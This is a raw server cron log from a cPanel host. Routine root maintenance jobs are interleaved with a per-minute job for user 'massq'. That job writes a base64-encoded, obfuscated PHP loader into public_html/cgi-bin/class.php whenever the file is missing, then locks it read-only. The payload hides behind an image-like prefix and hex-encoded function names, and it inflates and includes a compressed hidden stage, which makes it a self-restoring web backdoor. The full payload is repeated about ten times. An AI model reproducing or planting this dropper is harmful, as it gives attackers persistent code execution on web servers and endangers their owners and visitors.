Sep 11 03:45:01 server CROND[16819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:45:01 server CROND[16825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:45:01 server CROND[16827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:45:01 server CROND[16826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:46:01 server CROND[17665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:46:01 server CROND[17667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:46:01 server CROND[17666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:47:01 server CROND[18045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:47:01 server CROND[18047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:47:01 server CROND[18048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:48:01 server CROND[18433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:48:01 server CROND[18432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:48:01 server CROND[18444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:49:01 server CROND[18907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:49:01 server CROND[18908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:49:01 server CROND[18909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:50:01 server CROND[19290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:50:01 server CROND[19292]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:50:01 server CROND[19295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:50:01 server CROND[19297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:50:01 server CROND[19300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:50:01 server CROND[19299]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:50:01 server CROND[19302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:50:01 server CROND[19303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:50:01 server CROND[19298]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:51:01 server CROND[20284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:51:01 server CROND[20285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:51:01 server CROND[20286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:52:01 server CROND[20718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:52:01 server CROND[20720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:52:01 server CROND[20719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:53:01 server CROND[21083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:53:01 server CROND[21084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:53:01 server CROND[21086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:54:01 server CROND[21542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:54:01 server CROND[21543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:54:01 server CROND[21544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:55:01 server CROND[21922]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:55:01 server CROND[21925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:55:01 server CROND[21926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:55:01 server CROND[21924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:55:01 server CROND[21928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:55:01 server CROND[21927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:55:01 server CROND[21929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:56:01 server CROND[22769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:56:01 server CROND[22770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:56:01 server CROND[22771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:57:01 server CROND[23305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:57:01 server CROND[23306]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:57:01 server CROND[23307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
